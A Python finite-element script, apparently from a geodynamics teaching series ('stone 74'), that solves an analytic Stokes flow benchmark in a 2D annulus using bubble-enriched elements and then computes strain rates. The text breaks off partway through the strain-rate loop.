+{"seq_id":"37038415614","text":"import numpy as np\nimport math as math\nimport sys as sys\nimport scipy\nimport scipy.sparse as sps\nfrom scipy.sparse.linalg.dsolve import linsolve\nimport time as timing\nimport matplotlib.pyplot as plt\nfrom scipy.sparse import csr_matrix\nfrom scipy.sparse import lil_matrix\n\n#------------------------------------------------------------------------------\ndef density(x,y,R1,R2,k,rho0,g0):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    fr=A*r+B/r\n    fpr=A-B/r**2\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    gpr=A/2.+B/r**2*(1.-math.log(r))+1./r**2\n    gppr=-B/r**3*(3.-2.*math.log(r))-2./r**3\n    alephr=gppr - gpr/r -gr/r**2*(k**2-1.) +fr/r**2  +fpr/r\n    val=k*math.sin(k*theta)*alephr + rho0 \n    return val\n\ndef Psi(x,y,R1,R2,k):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    val=-r*gr*math.cos(k*theta)\n    return val\n\ndef velocity_x(x,y,R1,R2,k,rho0,g0):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    fr=A*r+B/r\n    fpr=A-B/r**2\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    hr=(2*gr-fr)/r\n    vr=k *gr * math.sin (k * theta)\n    vtheta = fr *math.cos(k* theta)\n    val=vr*math.cos(theta)-vtheta*math.sin(theta)\n    return val\n\ndef velocity_y(x,y,R1,R2,k,rho0,g0):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    fr=A*r+B/r\n    fpr=A-B/r**2\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    hr=(2*gr-fr)/r\n    vr=k *gr * math.sin (k * theta)\n    vtheta = fr *math.cos(k* theta)\n    val=vr*math.sin(theta)+vtheta*math.cos(theta)\n    return val\n\ndef pressure(x,y,R1,R2,k,rho0,g0):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    fr=A*r+B/r\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    hr=(2*gr-fr)/r\n    val=k*hr*math.sin(k*theta) + rho0*g0*(r-R2)\n    return val\n\ndef sr_xx(x,y,R1,R2,k):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    gpr=A/2 + B*((1-math.log(r)) / r**2 ) +1./r**2\n    fr=A*r+B/r\n    fpr=A-B/r**2\n    err=gpr*k*math.sin(k*theta)\n    ert=0.5*(k**2/r*gr+fpr-fr/r)*math.cos(k*theta)\n    ett=(gr-fr)/r*k*math.sin(k*theta)\n    val=err*(math.cos(theta))**2\\\n       +ett*(math.sin(theta))**2\\\n       -2*ert*math.sin(theta)*math.cos(theta)\n    return val\n\ndef sr_yy(x,y,R1,R2,k):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    gpr=A/2 + B*((1-math.log(r)) / r**2 ) +1./r**2\n    fr=A*r+B/r\n    fpr=A-B/r**2\n    err=gpr*k*math.sin(k*theta)\n    ert=0.5*(k**2/r*gr+fpr-fr/r)*math.cos(k*theta)\n    ett=(gr-fr)/r*k*math.sin(k*theta)\n    val=err*(math.sin(theta))**2\\\n       +ett*(math.cos(theta))**2\\\n       +2*ert*math.sin(theta)*math.cos(theta)\n    return val\n\ndef sr_xy(x,y,R1,R2,k):\n    r=np.sqrt(x*x+y*y)\n    theta=math.atan2(y,x)\n    A=2.*(math.log(R1)-math.log(R2))/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    B=(R2**2-R1**2)/(R2**2*math.log(R1)-R1**2*math.log(R2) )\n    gr=A/2.*r + B/r*math.log(r) - 1./r\n    gpr=A/2 + B*((1-math.log(r)) / r**2 ) +1./r**2\n    fr=A*r+B/r\n    fpr=A-B/r**2\n    err=gpr*k*math.sin(k*theta)\n    ert=0.5*(k**2/r*gr+fpr-fr/r)*math.cos(k*theta)\n    ett=(gr-fr)/r*k*math.sin(k*theta)\n    val=ert*(math.cos(theta)**2-math.sin(theta)**2)\\\n       +(err-ett)*math.cos(theta)*math.sin(theta)\n    return val\n\ndef gx(x,y,g0):\n    val=-x/np.sqrt(x*x+y*y)*g0\n    return val\n\ndef gy(x,y,g0):\n    val=-y/np.sqrt(x*x+y*y)*g0\n    return val\n\n#------------------------------------------------------------------------------\n\ndef B(r,s):\n    if bubble==1:\n       return (1-r**2)*(1-s**2)*(1-r)*(1-s)\n    elif bubble==2:\n       return (1-r**2)*(1-s**2)*(1+beta*(r+s))\n    else:\n       return (1-r**2)*(1-s**2)\n\ndef dBdr(r,s):\n    if bubble==1:\n       return (1-s**2)*(1-s)*(-1-2*r+3*r**2)\n    elif bubble==2:\n       return (s**2-1)*(-beta+3*beta*r**2+2*r*(beta*s+1))\n    else:\n       return (-2*r)*(1-s**2)\n\ndef dBds(r,s):\n    if bubble==1:\n       return (1-r**2)*(1-r)*(-1-2*s+3*s**2) \n    elif bubble==2:\n       return (r**2-1)*(-beta+2*s*(beta*r+1)+3*beta*s**2)\n    else:\n       return (1-r**2)*(-2*s)\n\n#------------------------------------------------------------------------------\n\ndef NNV(r,s):\n    NV_0= 0.25*(1-r)*(1-s) - 0.25*B(r,s)\n    NV_1= 0.25*(1+r)*(1-s) - 0.25*B(r,s)\n    NV_2= 0.25*(1+r)*(1+s) - 0.25*B(r,s)\n    NV_3= 0.25*(1-r)*(1+s) - 0.25*B(r,s)\n    NV_4= B(r,s)\n    return NV_0,NV_1,NV_2,NV_3,NV_4\n\ndef dNNVdr(r,s):\n    dNVdr_0=-0.25*(1.-s) -0.25*dBdr(r,s)\n    dNVdr_1=+0.25*(1.-s) -0.25*dBdr(r,s)\n    dNVdr_2=+0.25*(1.+s) -0.25*dBdr(r,s)\n    dNVdr_3=-0.25*(1.+s) -0.25*dBdr(r,s)\n    dNVdr_4=dBdr(r,s) \n    return dNVdr_0,dNVdr_1,dNVdr_2,dNVdr_3,dNVdr_4\n\ndef dNNVds(r,s):\n    dNVds_0=-0.25*(1.-r) -0.25*dBds(r,s)\n    dNVds_1=-0.25*(1.+r) -0.25*dBds(r,s)\n    dNVds_2=+0.25*(1.+r) -0.25*dBds(r,s)\n    dNVds_3=+0.25*(1.-r) -0.25*dBds(r,s)\n    dNVds_4=dBds(r,s) \n    return dNVds_0,dNVds_1,dNVds_2,dNVds_3,dNVds_4\n\ndef NNP(r,s):\n    NP_0= 0.25*(1-r)*(1-s)\n    NP_1= 0.25*(1+r)*(1-s)\n    NP_2= 0.25*(1+r)*(1+s)\n    NP_3= 0.25*(1-r)*(1+s)\n    return NP_0,NP_1,NP_2,NP_3 \n\n#------------------------------------------------------------------------------\n\nprint(\"-----------------------------\")\nprint(\"--------stone 74-------------\")\nprint(\"-----------------------------\")\n\nndim=2   # number of dimensions\nmV=5     # number of nodes making up an element\nmP=4     # number of nodes making up an element\nndofV=2  # number of velocity degrees of freedom per node\nndofP=1  # number of pressure degrees of freedom \n\nif int(len(sys.argv) == 4):\n   nelr = int(sys.argv[1])\n   visu = int(sys.argv[2])\n   nqperdim = int(sys.argv[3])\nelse:\n   nelr = 16\n   visu = 1\n   nqperdim=3\n\nbubble=2\nbeta=0.01\n\nR1=1.\nR2=2.\n\ndr=(R2-R1)/nelr\nnelt=12*nelr \nnel=nelr*nelt  \ndtheta=2*np.pi/nelt\n\nrho0=0.\nkk=4\ng0=1.\n\nviscosity=1.  # dynamic viscosity \\eta\n\neps=1.e-10\n\nsqrt3=np.sqrt(3.)\n\nif nqperdim==2:\n   qcoords=[-1./np.sqrt(3.),1./np.sqrt(3.)]\n   qweights=[1.,1.]\nif nqperdim==3:\n   qcoords=[-np.sqrt(3./5.),0.,np.sqrt(3./5.)]\n   qweights=[5./9.,8./9.,5./9.]\nif nqperdim==4:\n   qc4a=np.sqrt(3./7.+2./7.*np.sqrt(6./5.))\n   qc4b=np.sqrt(3./7.-2./7.*np.sqrt(6./5.))\n   qw4a=(18-np.sqrt(30.))/36.\n   qw4b=(18+np.sqrt(30.))/36.\n   qcoords=[-qc4a,-qc4b,qc4b,qc4a]\n   qweights=[qw4a,qw4b,qw4b,qw4a]\nif nqperdim==5:\n   qc5a=np.sqrt(5.+2.*np.sqrt(10./7.))/3.\n   qc5b=np.sqrt(5.-2.*np.sqrt(10./7.))/3.\n   qc5c=0.\n   qw5a=(322.-13.*np.sqrt(70.))/900.\n   qw5b=(322.+13.*np.sqrt(70.))/900.\n   qw5c=128./225.\n   qcoords=[-qc5a,-qc5b,qc5c,qc5b,qc5a]\n   qweights=[qw5a,qw5b,qw5c,qw5b,qw5a]\nif nqperdim==6:\n   qcoords=[-0.932469514203152,\\\n            -0.661209386466265,\\\n            -0.238619186083197,\\\n            +0.238619186083197,\\\n            +0.661209386466265,\\\n            +0.932469514203152]\n   qweights=[0.171324492379170,\\\n             0.360761573048139,\\\n             0.467913934572691,\\\n             0.467913934572691,\\\n             0.360761573048139,\\\n             0.171324492379170]\n\n\n\n\nrVnodes=[-1,1,1,-1,0]\nsVnodes=[-1,-1,1,1,0]\n\nsparse=True\npnormalise=True\n\nnnr=nelr+1\nnnt=nelt\nnnp=nnr*nnt+nel  # number of nodes\n\nNfemV=nnp*ndofV    # Total number of degrees of V freedom \nNfemP=nnr*nnt*ndofP          # Total number of degrees of P freedom\nNfem=NfemV+NfemP         # total number of dofs\n\nnq=nel*nqperdim**2\n\nprint('nelr=',nelr)\nprint('nelr=',nelt)\nprint('nel=',nel)\nprint('nnp=',nnp)\nprint('NfemV=',NfemV)\nprint('NfemP=',NfemP)\nprint('Nfem=',Nfem)\nprint('nqperdim=',nqperdim)\nprint('nnr=',nnr)\nprint('nnt=',nnt)\n\n#################################################################\n# grid point setup\n#################################################################\nstart = timing.time()\n\nxV=np.empty(nnp,dtype=np.float64)  # x coordinates\nyV=np.empty(nnp,dtype=np.float64)  # y coordinates\nr=np.empty(nnp,dtype=np.float64)  \ntheta=np.empty(nnp,dtype=np.float64) \n\nLouter=2.*math.pi*R2\nLr=R2-R1\nsx = Louter/float(nelt)\nsz = Lr    /float(nelr)\n\ncounter=0\nfor j in range(0,nnr):\n    for i in range(0,nelt):\n        xV[counter]=i*sx\n        yV[counter]=j*sz\n        counter += 1\n    #end for\n#end for\n\ncounter=0\nfor j in range(0,nnr):\n    for i in range(0,nnt):\n        xi=xV[counter]\n        yi=yV[counter]\n        t=xi/Louter*2.*math.pi    \n        xV[counter]=math.cos(t)*(R1+yi)\n        yV[counter]=math.sin(t)*(R1+yi)\n        r[counter]=R1+yi\n        theta[counter]=math.atan2(yV[counter],xV[counter])\n        if theta[counter]<0.:\n           theta[counter]+=2.*math.pi\n        counter+=1\n    #end for\n#end for\n\nprint(\"building coordinate arrays (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n# connectivity\n#################################################################\nstart = timing.time()\n\niconV =np.zeros((mV,nel),dtype=np.int32)\niconP =np.zeros((mP,nel),dtype=np.int32)\n\ncounter = 0\nfor j in range(0, nelr):\n    for i in range(0, nelt):\n        icon1=counter\n        icon2=counter+1\n        icon3=i+(j+1)*nelt+1\n        icon4=i+(j+1)*nelt\n        if i==nelt-1:\n           icon2-=nelt\n           icon3-=nelt\n        iconV[0,counter] = icon2 \n        iconV[1,counter] = icon1\n        iconV[2,counter] = icon4\n        iconV[3,counter] = icon3\n        iconV[4,counter] = nnr*nnt+counter\n        counter += 1\n    #end for\n#end for\n\ncounter = 0\nfor j in range(0, nelr):\n    for i in range(0, nelt):\n        icon1=counter\n        icon2=counter+1\n        icon3=i+(j+1)*nelt+1\n        icon4=i+(j+1)*nelt\n        if i==nelt-1:\n           icon2-=nelt\n           icon3-=nelt\n        iconP[0,counter] = icon2 \n        iconP[1,counter] = icon1\n        iconP[2,counter] = icon4\n        iconP[3,counter] = icon3\n        counter += 1\n    #end for\n#end for\n\nfor iel in range(0,nel):\n    #this yields very bad pressure!!\n    #xV[iconV[4,iel]]=0.25*xV[iconV[0,iel]]+\\\n    #                +0.25*xV[iconV[1,iel]]+\\\n    #                +0.25*xV[iconV[2,iel]]+\\\n    #                +0.25*xV[iconV[3,iel]]\n    #yV[iconV[4,iel]]=0.25*yV[iconV[0,iel]]+\\\n    #                +0.25*yV[iconV[1,iel]]+\\\n    #                +0.25*yV[iconV[2,iel]]+\\\n    #                +0.25*yV[iconV[3,iel]]\n\n    r[iconV[4,iel]]=r[iconV[0,iel]]+dr/2\n    theta[iconV[4,iel]]=theta[iconV[0,iel]]-dtheta/2\n    xV[iconV[4,iel]]=r[iconV[4,iel]]*np.cos(theta[iconV[4,iel]])\n    yV[iconV[4,iel]]=r[iconV[4,iel]]*np.sin(theta[iconV[4,iel]])\n\n#end for\n\n#np.savetxt('gridV.ascii',np.array([xV,yV,r,theta]).T)\n\n#################################################################\n#now that I have both connectivity arrays I can \n# easily build xP,yP\n\nNP=NfemP\nxP=np.empty(NP,dtype=np.float64)  # x coordinates\nyP=np.empty(NP,dtype=np.float64)  # y coordinates\n\nfor iel in range(0,nel):\n    xP[iconP[0,iel]]=xV[iconV[0,iel]]\n    xP[iconP[1,iel]]=xV[iconV[1,iel]]\n    xP[iconP[2,iel]]=xV[iconV[2,iel]]\n    xP[iconP[3,iel]]=xV[iconV[3,iel]]\n    yP[iconP[0,iel]]=yV[iconV[0,iel]]\n    yP[iconP[1,iel]]=yV[iconV[1,iel]]\n    yP[iconP[2,iel]]=yV[iconV[2,iel]]\n    yP[iconP[3,iel]]=yV[iconV[3,iel]]\n\n#np.savetxt('gridP.ascii',np.array([xP,yP]).T)\n\nprint(\"building connectivity array (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n# define boundary conditions\n#################################################################\nstart = timing.time()\n\nbc_fix = np.zeros(Nfem, dtype=np.bool)  \nbc_val = np.zeros(Nfem, dtype=np.float64) \n\nfor i in range(0,nnp):\n    if r[i](R2-eps):\n       bc_fix[i*ndofV]   = True ; bc_val[i*ndofV]   = velocity_x(xV[i],yV[i],R1,R2,kk,rho0,g0)\n       bc_fix[i*ndofV+1] = True ; bc_val[i*ndofV+1] = velocity_y(xV[i],yV[i],R1,R2,kk,rho0,g0)\n\nprint(\"defining boundary conditions (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n# compute area of elements\n#################################################################\nstart = timing.time()\n\narea    = np.zeros(nel,dtype=np.float64) \nNNNV    = np.zeros(mV,dtype=np.float64)           # shape functions V\ndNNNVdr = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\ndNNNVds = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\n\nfor iel in range(0,nel):\n    for iq in range(0,nqperdim):\n        for jq in range(0,nqperdim):\n            rq=qcoords[iq]\n            sq=qcoords[jq]\n            weightq=qweights[iq]*qweights[jq]\n            NNNV[0:mV]=NNV(rq,sq)\n            dNNNVdr[0:mV]=dNNVdr(rq,sq)\n            dNNNVds[0:mV]=dNNVds(rq,sq)\n            jcb=np.zeros((2,2),dtype=np.float64)\n            for k in range(0,mV):\n                jcb[0,0] += dNNNVdr[k]*xV[iconV[k,iel]]\n                jcb[0,1] += dNNNVdr[k]*yV[iconV[k,iel]]\n                jcb[1,0] += dNNNVds[k]*xV[iconV[k,iel]]\n                jcb[1,1] += dNNNVds[k]*yV[iconV[k,iel]]\n            #end for\n            jcob = np.linalg.det(jcb)\n            area[iel]+=jcob*weightq\n        #end for\n    #end for\n#end for\n\nprint(\"     -> area (m,M) %.6e %.6e \" %(np.min(area),np.max(area)))\nprint(\"     -> total area (meas) %.6f \" %(area.sum()))\nprint(\"     -> total area (anal) %.6f \" %(np.pi*(R2**2-R1**2)))\n\nprint(\"compute elements areas: %.3f s\" % (timing.time() - start))\n\n#################################################################\n# build FE matrix\n#################################################################\nstart = timing.time()\n\nif sparse:\n   if pnormalise:\n      A_sparse = lil_matrix((Nfem+1,Nfem+1),dtype=np.float64)\n   else:\n      A_sparse = lil_matrix((Nfem,Nfem),dtype=np.float64)\nelse:   \n   K_mat = np.zeros((NfemV,NfemV),dtype=np.float64) # matrix K \n   G_mat = np.zeros((NfemV,NfemP),dtype=np.float64) # matrix GT\n\nf_rhs = np.zeros(NfemV,dtype=np.float64)         # right hand side f \nh_rhs = np.zeros(NfemP,dtype=np.float64)         # right hand side h \nconstr= np.zeros(NfemP,dtype=np.float64)         # constraint matrix/vector\n\nb_mat = np.zeros((3,ndofV*mV),dtype=np.float64) # gradient matrix B \nN_mat = np.zeros((3,ndofP*mP),dtype=np.float64) # matrix  \nNNNV    = np.zeros(mV,dtype=np.float64)           # shape functions V\nNNNP    = np.zeros(mP,dtype=np.float64)           # shape functions P\ndNNNVdx  = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\ndNNNVdy  = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\ndNNNVdr  = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\ndNNNVds  = np.zeros(mV,dtype=np.float64)          # shape functions derivatives\nu     = np.zeros(nnp,dtype=np.float64)          # x-component velocity\nv     = np.zeros(nnp,dtype=np.float64)          # y-component velocity\nc_mat = np.array([[2,0,0],[0,2,0],[0,0,1]],dtype=np.float64) \n\nxq   = np.zeros(nq,dtype=np.float64)     \nyq   = np.zeros(nq,dtype=np.float64)      \n\niiq=0\nfor iel in range(0,nel):\n\n    # set arrays to 0 every loop\n    f_el =np.zeros((mV*ndofV),dtype=np.float64)\n    K_el =np.zeros((mV*ndofV,mV*ndofV),dtype=np.float64)\n    G_el=np.zeros((mV*ndofV,mP*ndofP),dtype=np.float64)\n    h_el=np.zeros((mP*ndofP),dtype=np.float64)\n    NNNNP= np.zeros(mP*ndofP,dtype=np.float64)   \n\n    # integrate viscous term at 4 quadrature points\n    for iq in range(0,nqperdim):\n        for jq in range(0,nqperdim):\n\n            # position & weight of quad. point\n            rq=qcoords[iq]\n            sq=qcoords[jq]\n            weightq=qweights[iq]*qweights[jq]\n\n            NNNV[0:mV]=NNV(rq,sq)\n            dNNNVdr[0:mV]=dNNVdr(rq,sq)\n            dNNNVds[0:mV]=dNNVds(rq,sq)\n            NNNP[0:mP]=NNP(rq,sq)\n\n            # calculate jacobian matrix\n            jcb=np.zeros((2,2),dtype=np.float64)\n            for k in range(0,mV):\n                jcb[0,0] += dNNNVdr[k]*xV[iconV[k,iel]]\n                jcb[0,1] += dNNNVdr[k]*yV[iconV[k,iel]]\n                jcb[1,0] += dNNNVds[k]*xV[iconV[k,iel]]\n                jcb[1,1] += dNNNVds[k]*yV[iconV[k,iel]]\n            #end for \n            jcob = np.linalg.det(jcb)\n            jcbi = np.linalg.inv(jcb)\n\n            # compute dNdx & dNdy\n            for k in range(0,mV):\n                xq[iiq]+=NNNV[k]*xV[iconV[k,iel]]\n                yq[iiq]+=NNNV[k]*yV[iconV[k,iel]]\n                dNNNVdx[k]=jcbi[0,0]*dNNNVdr[k]+jcbi[0,1]*dNNNVds[k]\n                dNNNVdy[k]=jcbi[1,0]*dNNNVdr[k]+jcbi[1,1]*dNNNVds[k]\n            #end for \n\n            # construct 3x8 b_mat matrix\n            for i in range(0,mV):\n                b_mat[0:3, 2*i:2*i+2] = [[dNNNVdx[i],0.     ],\n                                         [0.        ,dNNNVdy[i]],\n                                         [dNNNVdy[i],dNNNVdx[i]]]\n            #end for \n\n            # compute elemental a_mat matrix\n            K_el+=b_mat.T.dot(c_mat.dot(b_mat))*viscosity*weightq*jcob\n\n            # compute elemental rhs vector\n            for i in range(0,mV):\n                f_el[ndofV*i  ]+=NNNV[i]*jcob*weightq*gx(xq[iiq],yq[iiq],g0)*density(xq[iiq],yq[iiq],R1,R2,kk,rho0,g0)\n                f_el[ndofV*i+1]+=NNNV[i]*jcob*weightq*gy(xq[iiq],yq[iiq],g0)*density(xq[iiq],yq[iiq],R1,R2,kk,rho0,g0)\n            #end for \n\n            for i in range(0,mP):\n                N_mat[0,i]=NNNP[i]\n                N_mat[1,i]=NNNP[i]\n                N_mat[2,i]=0.\n            #end for \n\n            G_el-=b_mat.T.dot(N_mat)*weightq*jcob\n\n            NNNNP[:]+=NNNP[:]*jcob*weightq\n\n            iiq+=1\n\n        #end for jq\n    #end for iq\n\n    # impose b.c. \n    for k1 in range(0,mV):\n        for i1 in range(0,ndofV):\n            ikk=ndofV*k1          +i1\n            m1 =ndofV*iconV[k1,iel]+i1\n            if bc_fix[m1]:\n               K_ref=K_el[ikk,ikk] \n               for jkk in range(0,mV*ndofV):\n                   f_el[jkk]-=K_el[jkk,ikk]*bc_val[m1]\n                   K_el[ikk,jkk]=0\n                   K_el[jkk,ikk]=0\n               #end for \n               K_el[ikk,ikk]=K_ref\n               f_el[ikk]=K_ref*bc_val[m1]\n               h_el[:]-=G_el[ikk,:]*bc_val[m1]\n               G_el[ikk,:]=0\n            #end if \n        #end for \n    #end for \n\n    # assemble matrix K_mat and right hand side rhs\n    for k1 in range(0,mV):\n        for i1 in range(0,ndofV):\n            ikk=ndofV*k1          +i1\n            m1 =ndofV*iconV[k1,iel]+i1\n            for k2 in range(0,mV):\n                for i2 in range(0,ndofV):\n                    jkk=ndofV*k2          +i2\n                    m2 =ndofV*iconV[k2,iel]+i2\n                    if sparse:\n                       A_sparse[m1,m2] += K_el[ikk,jkk]\n                    else:\n                       K_mat[m1,m2]+=K_el[ikk,jkk]\n            for k2 in range(0,mP):\n                jkk=k2\n                m2 =iconP[k2,iel]\n                if sparse:\n                   A_sparse[m1,NfemV+m2]+=G_el[ikk,jkk]\n                   A_sparse[NfemV+m2,m1]+=G_el[ikk,jkk]\n                else:\n                   G_mat[m1,m2]+=G_el[ikk,jkk]\n            #end for \n            f_rhs[m1]+=f_el[ikk]\n        #end for \n    #end for \n    for k2 in range(0,mP):\n        m2=iconP[k2,iel]\n        h_rhs[m2]+=h_el[k2]\n        constr[m2]+=NNNNP[k2]\n    #end for \n    if sparse and pnormalise:\n       A_sparse[Nfem,NfemV+m2]=constr[m2]\n       A_sparse[NfemV+m2,Nfem]=constr[m2]\n\n#end for iel\n\nif not sparse:\n   print(\"     -> K_mat (m,M) %.4f %.4f \" %(np.min(K_mat),np.max(K_mat)))\n   print(\"     -> G_mat (m,M) %.4f %.4f \" %(np.min(G_mat),np.max(G_mat)))\n\n#np.savetxt('gridq.ascii',np.array([xq,yq]).T)\n\nprint(\"build FE matrixs & rhs (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n# solve system\n#################################################################\nstart = timing.time()\n\nif not sparse:\n   if pnormalise:\n      a_mat = np.zeros((Nfem+1,Nfem+1),dtype=np.float64) # matrix of Ax=b\n      rhs   = np.zeros(Nfem+1,dtype=np.float64)          # right hand side of Ax=b\n      a_mat[0:NfemV,0:NfemV]=K_mat\n      a_mat[0:NfemV,NfemV:Nfem]=G_mat\n      a_mat[NfemV:Nfem,0:NfemV]=G_mat.T\n      a_mat[Nfem,NfemV:Nfem]=constr\n      a_mat[NfemV:Nfem,Nfem]=constr\n   else:\n      a_mat = np.zeros((Nfem,Nfem),dtype=np.float64)  # matrix of Ax=b\n      rhs   = np.zeros(Nfem,dtype=np.float64)         # right hand side of Ax=b\n      a_mat[0:NfemV,0:NfemV]=K_mat\n      a_mat[0:NfemV,NfemV:Nfem]=G_mat\n      a_mat[NfemV:Nfem,0:NfemV]=G_mat.T\n   #end if\nelse:\n   if pnormalise:\n      rhs   = np.zeros(Nfem+1,dtype=np.float64)          # right hand side of Ax=b\n   else:\n      rhs   = np.zeros(Nfem,dtype=np.float64)         # right hand side of Ax=b\n\n\nrhs[0:NfemV]=f_rhs\nrhs[NfemV:Nfem]=h_rhs\n\nif sparse:\n   sparse_matrix=A_sparse.tocsr()\nelse:\n   sparse_matrix=sps.csr_matrix(a_mat)\n\nsol=sps.linalg.spsolve(sparse_matrix,rhs)\n\nprint(\"solving system (%.3fs)\" % (timing.time() - start))\n\n#####################################################################\n# put solution into separate x,y velocity arrays\n#####################################################################\nstart = timing.time()\n\nu,v=np.reshape(sol[0:NfemV],(nnp,2)).T\np=sol[NfemV:Nfem]\n\nprint(\"     -> u (m,M) %.4f %.4f \" %(np.min(u),np.max(u)))\nprint(\"     -> v (m,M) %.4f %.4f \" %(np.min(v),np.max(v)))\n\n#np.savetxt('velocity.ascii',np.array([xV,yV,u,v]).T,header='# x,y,u,v')\n\nvr= np.cos(theta)*u+np.sin(theta)*v\nvt=-np.sin(theta)*u+np.cos(theta)*v\n    \nprint(\"     -> vr (m,M) %.4f %.4f \" %(np.min(vr),np.max(vr)))\nprint(\"     -> vt (m,M) %.4f %.4f \" %(np.min(vt),np.max(vt)))\n\nprint(\"reshape solution (%.3fs)\" % (timing.time() - start))\n\n#####################################################################\n# compute strain rate - center to nodes - method 1\n#####################################################################\n\ncount = np.zeros(nnp,dtype=np.int32)  \nLxx1 = np.zeros(nnp,dtype=np.float64)  \nLxy1 = np.zeros(nnp,dtype=np.float64)  \nLyx1 = np.zeros(nnp,dtype=np.float64)  \nLyy1 = np.zeros(nnp,dtype=np.float64)  \n\nfor iel in range(0,nel):\n    rq=0.\n    sq=0.\n    NNNV[0:mV]=NNV(rq,sq)\n    dNNNVdr[0:mV]=dNNVdr(rq,sq)\n    dNNNVds[0:mV]=dNNVds(rq,sq)\n    jcb=np.zeros((ndim,ndim),dtype=np.float64)\n    for k in range(0,mV):\n        jcb[0,0]+=dNNNVdr[k]*xV[iconV[k,iel]]\n        jcb[0,1]+=dNNNVdr[k]*yV[iconV[k,iel]]\n        jcb[1,0]+=dNNNVds[k]*xV[iconV[k,iel]]\n        jcb[1,1]+=dNNNVds[k]*yV[iconV[k,iel]]\n    #end for\n    jcbi=np.linalg.inv(jcb)\n    for k in range(0,mV):\n        dNNNVdx[k]=jcbi[0,0]*dNNNVdr[k]+jcbi[0,1]*dNNNVds[k]\n        dNNNVdy[k]=jcbi[1,0]*dNNNVdr[k]+jcbi[1,1]*dNNNVds[k]\n    #end for\n    L_xx=0.\n    L_xy=0.\n    L_yx=0.\n    L_yy=0.\n    for k in range(0,mV):\n        L_xx+=dNNNVdx[k]*u[iconV[k,iel]]\n        L_xy+=dNNNVdx[k]*v[iconV[k,iel]]\n        L_yx+=dNNNVdy[k]*u[iconV[k,iel]]\n        L_yy+=dNNNVdy[k]*v[iconV[k,iel]]\n    #end for\n    for i in range(0,mV):\n        inode=iconV[i,iel]\n        Lxx1[inode]+=L_xx\n        Lxy1[inode]+=L_xy\n        Lyx1[inode]+=L_yx\n        Lyy1[inode]+=L_yy\n        count[inode]+=1\n    #end for\n#end for\nLxx1/=count\nLxy1/=count\nLyx1/=count\nLyy1/=count\n\nprint(\"     -> Lxx1 (m,M) %.4f %.4f \" %(np.min(Lxx1),np.max(Lxx1)))\nprint(\"     -> Lyy1 (m,M) %.4f %.4f \" %(np.min(Lyy1),np.max(Lyy1)))\nprint(\"     -> Lxy1 (m,M) %.4f %.4f \" %(np.min(Lxy1),np.max(Lxy1)))\nprint(\"     -> Lxy1 (m,M) %.4f %.4f \" %(np.min(Lyx1),np.max(Lyx1)))\n\nprint(\"compute vel gradient meth-1 (%.3fs)\" % (timing.time() - start))\n\n#################################################################\n#################################################################\n\nexx1 = np.zeros(nnp,dtype=np.float64)  \neyy1 = np.zeros(nnp,dtype=np.float64)  \nexy1 = np.zeros(nnp,dtype=np.float64)  \n\nexx1[:]=Lxx1[:]\neyy1[:]=Lyy1[:]\nexy1[:]=0.5*(Lxy1[:]+Lyx1[:])\n\n#####################################################################\n# compute strain rate - corners to nodes - method 2\n#####################################################################\nstart = timing.time()\n\ncount = np.zeros(nnp,dtype=np.int32)  \nLxx2 = np.zeros(nnp,dtype=np.float64)  \nLxy2 = np.zeros(nnp,dtype=np.float64)  \nLyx2 = np.zeros(nnp,dtype=np.float64)  \nLyy2 = np.zeros(nnp,dtype=np.float64)  \n\nfor iel in range(0,nel):\n    for i in range(0,mV):\n        inode=iconV[i,iel]\n        rq=rVnodes[i]\n        sq=sVnodes[i]\n        NNNV[0:mV]=NNV(rq,sq)\n        dNNNVdr[0:mV]=dNNVdr(rq,sq)\n        dNNNVds[0:mV]=dNNVds(rq,sq)\n        NNNP[0:mP]=NNP(rq,sq)\n        jcb=np.zeros((ndim,ndim),dtype=np.float64)\n        for k in range(0,mV):\n            